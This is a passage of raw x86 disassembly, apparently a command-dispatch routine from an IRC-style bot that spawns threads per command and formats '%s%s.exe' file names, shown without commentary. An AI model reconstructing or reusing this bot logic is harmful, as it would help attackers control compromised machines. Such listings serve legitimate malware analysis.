		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCE0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEF8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFE4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A408
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A4FC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3CC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A388
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A35C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42A31C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset unk_42A2A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A278
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A240
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A210
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A1A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset dword_42A16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A140
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A108
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0D0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 2690B08h
		nop
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A0AC
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A0A0
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A070
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42A034

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2650C44h
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A010
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FF4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FBC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_429F80
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F38

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670580h

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429F14
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429F28
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429EFC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429EC8

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E94
		push	eax
		call	sub_41B886
